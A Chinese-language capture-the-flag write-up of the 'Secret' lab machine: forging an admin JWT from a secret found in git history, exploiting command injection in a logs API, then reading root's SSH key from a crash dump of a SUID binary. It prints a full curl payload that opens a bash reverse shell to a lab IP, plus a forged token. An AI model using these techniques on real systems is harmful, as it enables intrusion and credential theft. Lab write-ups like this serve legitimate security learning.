YangJL
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

概述
这次做的靶机是一台简单级别的Linux机器,名为Secret。要进入这台机器,首先要审计Web应用git仓库的源码,拿到其中的JWT签名密钥,有这个密钥就可以调用admin function接口,其中一个接口有命令注入漏洞,通过这个漏洞get shell。提权阶段是利用一个SUID二进制文件去读root的sshkey,在其运行时crash进程,获得一个crash report,其中就包含着目标文件的内容。
端口扫描
端口扫描结果如下,开放了22、80和3000端口,80端口web服务的title和3000端口的一样,应该是80端口的nginx做为反向代理,代理了3000端口的web服务。
80端口的web应用
这里的web服务是一个名为DumpDocs的文档网站,介绍了其后端API的使用方式,网站上还提供了源码,可以下载下来分析。
源码分析
文档中说这个网站使用JWT来鉴权,那么只要找到JWT签名密钥就能以任意用户身份发起请求。nodejs应用一般会把密钥作为环境变量放在.env文件中,查看.env文件:
发现这里密钥仍是一个变量,并没有明文存储在其中。
看一下登录功能的代码:
router.post('/login', async (req , res) => { const { error } = loginValidation(req.body) if (error) return res.status(400).send(error.details[0].message); // check if email is okay const user = await User.findOne({ email: req.body.email }) if (!user) return res.status(400).send('Email is wrong'); // check password const validPass = await bcrypt.compare(req.body.password, user.password) if (!validPass) return res.status(400).send('Password is wrong'); // create jwt const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET ) res.header('auth-token', token).send(token); })
可以看到,登录功能代码的最后一部分使用了process.env.TOKEN_SECRET来对用户信息进行签名然后作为HTTP头部发回给用户,之后用户发起的请求都会带着这个jwt,后端就根据这个jwt识别用户的信息和是否相应权限。
关于JWT鉴权方式,可以参考以下链接学习:
通过对源码的审计,发现了一处命令执行漏洞,如图所示,此处接收参数file之后拼接到getLogs中然后就调用exec函数执行了这个命令。如果向这个接口发请求,就能够利用这个漏洞get shell,但果不其然,这个接口需要管理员theadmin才能访问。所以接下来的目标仍然是获取JWT签名密钥,以便伪造身份。
git仓库源码
既然密钥没有在代码中,那可以查看一下git仓库中的历史版本。
从git日志可以看到.env文件修改的一个commit,查看修改的内容。
修改的内容正是JWT签名密钥。
拿到JWT签名密钥之后,可以到jwt.io这个网站制作JWT。
JWT伪造
一个JWT由三个部分组成:Header、Payload和Verify Signature,其中最后一部分就需要用到签名密钥,Header保持默认即可,而Payload就是我们要伪造的身份信息。
伪造的过程比较简单,按照文档示例注册一个普通用户,获取JWT然后用上述网站将Payload中的name字段改为theadmin,再加上JWT签名密钥,即可伪造theadmin用户。
伪造身份成功。接下来利用命令注入漏洞get shell。
Get Shell
curl -s -G 'htttp://10.10.11.120/api/logs' --data-urlencode "file=>/dev/null;bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.cRgg1KkYXYSwz1xpknTFWTHnx8D-7UMewMubwAGsvQ8"
使用这个请求获取到了一个reverse shell
reverse shell不能用tab键补全命令,用起来很不方便,于是将我的ssh公钥上传上去,用ssh登录这台机器。
提权阶段
常规思路是用LinPEAS找提权点。
LinPEAS是一个用于在Linux系统中寻找可能提权路径的脚本。
从结果可以看到有CVE可以利用,但一键提权多没意思啊,这里的提权的预期解法其实是利用图中所示的这个未知SUID文件。
可以看到,这个SUID文件的作用是计算系统中任意文件的字数和行数,因为计算单词数和行数需要读取文件内容,所以这个文件需要在执行时暂时获得最高权限来读取任意文件。
Crash Dump
关于crash dump,简而言之就是当一个进程crash的时候,系统会在/var/crash生成crash dump文件,而这些文件中,就包含着进程crash时正在读的内容,我们可以利用这个过程来获取root用户的ssh私钥。
首先,运行count程序,读取root用户的ssh私钥id_rsa,然后将进程挂起。
接着,查看进程id,用kill发送一个segment fault信号给此进程,致使其crash。
此时/var/crash目录下就有了crash dump文件。
crashdump文件中包含着关于此进程的许多信息
使用apport-unpack可以解压出进程crash时的内存数据,其中Coredump文件就藏着刚才用count读取的ssh私钥内容。
用strings查看CoreDump中的可打印字符,就能够找到私钥
将私钥保持为一个文件,chmod 600 即可用来以root用户身份登录
总结
这台机器官方评价是easy,但做起来很费劲啊,特别是提权阶段,这个提权方式我看了几位大神的walkthrough也不是很懂其中的原理,只能是先照猫画虎地做一遍,之后再慢慢理解吧,其实还有另一种提权方式,是利用file descriptors(文件描述符)来读取文件内容,Ippsec和0xdf两位大神都提到了,但那种方式我更看不懂,就没有提及。
完整过程欢迎观看我录制的视频:
https://www.bilibili.com/video/BV1mq4y1Y7QQ/
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)